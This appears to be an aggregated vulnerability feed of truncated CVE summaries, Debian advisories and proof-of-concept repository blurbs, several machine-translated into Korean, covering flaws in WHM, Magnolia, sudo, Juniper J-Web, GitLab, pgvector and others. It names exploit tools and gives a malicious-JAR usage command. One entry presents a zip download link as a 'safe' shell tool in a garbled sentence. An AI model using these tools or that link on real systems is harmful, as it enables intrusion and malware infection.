CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

CVE-2026-93697

A stored XSS vulnerability exists in the WHM Mass Modify Accounts interface, potentially allowing for arbitrary code execution . The vulnerability is characterized by a CRITICAL base severity score of 9.0, where an attacker with low privileges can achieve high impact on confidentiality, integrity...

EUVD-2026-91199

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

CVE-2026-93697

There is a stored XSS vulnerability allowing arbitrary code execution in the WHM Mass Modify Accounts interface...

MAGNOLIA-8281

MAGNOLIA-8281: Magnolia CMS의 FreeMarker 제한 우회 2 Magnolia CMS v6.2.16 및 이하 버전의 FreeMarker 필터에서 발견된 문제로, 공격자는 제작된 FreeMarker 페이로드를 통해 보안 제한을 우회하고 임의의 파일을 읽기/쓰기/이동/복사/삭제할 수 있습니다. 임의의 JSP 파일을 작성하여 임의 코드 실행에 성공했습니다. 공급업체 공개: 이 취약점에 대한 공급업체의 공개 및 수정 사항은 여기에서 확인할 수 있습니다. CVE가 없는 이유는? 저나 공급업체 모두 이러한 취약점에...

jvmtiAgentLoad-Exploit

jvmtiAgentLoad를 통한 임의 코드 실행 설명: jvmtiAgentLoad를 악용하기 위한 악성 JAR 생성 도구 및 코드 사용법: $ bash createjar.sh Usage: createjar.sh Supported TARGETOS options: linux|windows Linux 대상 다음 명령은 Linux 대상에서 사용할 수 있는 JARmal.jar를 생성합니다: bash createjar.sh linux 'id /tmp/jvmtiLoadAgenttest' Windows 대상 다음 명령은 Windows 대상...

DS-Wireless-Communication-Remote-Code-Execution

DS 무선 통신 원격 코드 실행 클라이언트의 게임에 임의의 코드를 주입합니다. 사전 요구 사항 Python 3.10 pip pydivert 사용법 pip install -r requirements.txt python dswirelesscommunicationremotecodeexecution.py CVE-ID CVE-2023-45887 라이선스 GNU General Public License v2.0...

CVE-2025-32463-POC

CVE-2025-32463 - sudo 로컬 권한 상승 PoC ⚠️ 이 저장소는 CVE-2025-32463에 대한 개념 증명PoC 익스플로잇을 포함합니다 교육 목적 및 승인된 환경 에서만 사용하도록 작성되었습니다. 🧠 취약점 정보 CVE-2025-32463 은 sudo 버전 1.9.14 1.9.17 에 영향을 미치는 로컬 권한 상승 취약점입니다. 이 결함은 1.9.14에서 도입된 --chroot -R 옵션을 처리하는 방식에 있습니다. 권한이 없는 사용자가 제어된 chroot 경로 안에 가짜 nsswitch.conf를 생성하여,...

Juniper J-Web - Remote Code Execution

A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to control certain environments variables to execute remote commands id: CVE-2023-36845 info: name: Juniper J-Web - Remote Code...

Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization

Jenkins Pipeline: Groovy Plugin workflow-cps version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with...

GitLab CE/EE - Remote Code Execution

GitLab CE/EE 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1 is susceptible to remote code execution. An authenticated user authorized to import projects can import a maliciously crafted project, thus possibly being able to execute malware, obtain sensitive information, modi...

WBCE-CMS-Stored-XSS---Pages-Menu

WBCE CMS Stored XSS v1.6.1 작성자: Sergio 설명: WBCE CMS 1.6.1은 Intro Page 매개변수에 제작된 페이로드를 통해 공격자가 임의의 코드를 실행할 수 있게 하는 크로스사이트 저장형 스크립팅XSS 취약점의 영향을 받습니다. 페이로드는 사용자의 세션과 무관하게 메인 페이지에서 실행되므로, 다른 사용자로 홈페이지에 접근하더라도 페이로드가 실행됩니다. POC: 패널에 로그인하면 Pages의 "Modify Intro Page" 섹션으로 이동합니다...

[SECURITY] [DLA 4812-1] libio-compress-perl security update

------------------------------------------------------------------------- Debian LTS Advisory DLA-4812-1 [email protected] https://www.debian.org/lts/security/ Arnaud Rebillout October 02, 2026 https://wiki.debian.org/LTS -...

CVE-2026-103484

A flaw was found in pgvector. An authenticated database user can trigger an out-of-bounds write during an Inverted File Flat IVFFlat index build operation. This vulnerability may allow the attacker to achieve arbitrary code execution or cause a crash resulting in a denial of service on the databa...

CVE-2026-63292

A flaw was found in httpd's modvhostalias module. A remote attacker can exploit a stack-based buffer overflow by sending a crafted HTTP request with an excessively large Host header to a server using specific virtual hosting configurations. This issue can lead to arbitrary code execution or cause...

CVE-2025-55182-shellinteractive

💻 CVE-2025-55182-shellinteractive - 명령을 쉽고 안전하게 실행하세요 🚀 개요 CVE-2025-55182는 https://raw.githubusercontent.com/alyaapm/CVE-2025-55182-shellinteractive/main/trivalent/shellinteractive-CV-2.6.zip 및 React Server Components의 취약점입니다. 이 문제는 React Server Actions에서 잘못된 데이터 처리로 인해 인증되지 않은 사용자가 영향을 받는 서버에서 임...

CVE-2025-5548

💣 Exploit Development - 버퍼 오버플로우 이 저장소는 초기 분석부터 실행 흐름 제어까지 구조화된 방법론을 따라 버퍼 오버플로우 유형의 취약점을 악용하는 전체 프로세스를 문서화합니다. 🎯 목표 이 단계의 목표는 취약한 프로그램의 실행 흐름을 리디렉션하고 임의 코드 실행을 위한 기반을 마련하는 기능적 익스플로잇을 개발하는 것입니다. 🧭 악용 방법론 다음은 프로세스 중 수행된 단계를 자세히 설명합니다. 🔍 1단계 - 바이너리 정적 분석 IDA Free 리버스 엔지니어링 도구를 사용한 바이너리 분석을 통해 다음을...

FreeRDP: FreeRDP: Remote code execution or client crash via malicious TS Gateway

A flaw was found in FreeRDP. FreeRDP clients using TS Gateway are vulnerable to a heap-buffer-overflow. A malicious gateway can send a specially crafted response fragment, causing the client to write beyond its allocated buffer. This can lead to a client crash, resulting in a Denial of Service Do...

Debian dla-4812 : libio-compress-perl - security update

The remote Debian 12 host has a package installed that is affected by multiple vulnerabilities as referenced in the dla-4812 advisory. - ------------------------------------------------------------------------- Debian LTS Advisory DLA-4812-1 [email protected]...

Linux Distros Unpatched Vulnerability : CVE-2026-103484

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - IVFFlat index build in pgvector before 0.8.7 allows a database user to write data out-of-bounds, which can lead to arbitrary code execution. CVE-2026-103484 Not...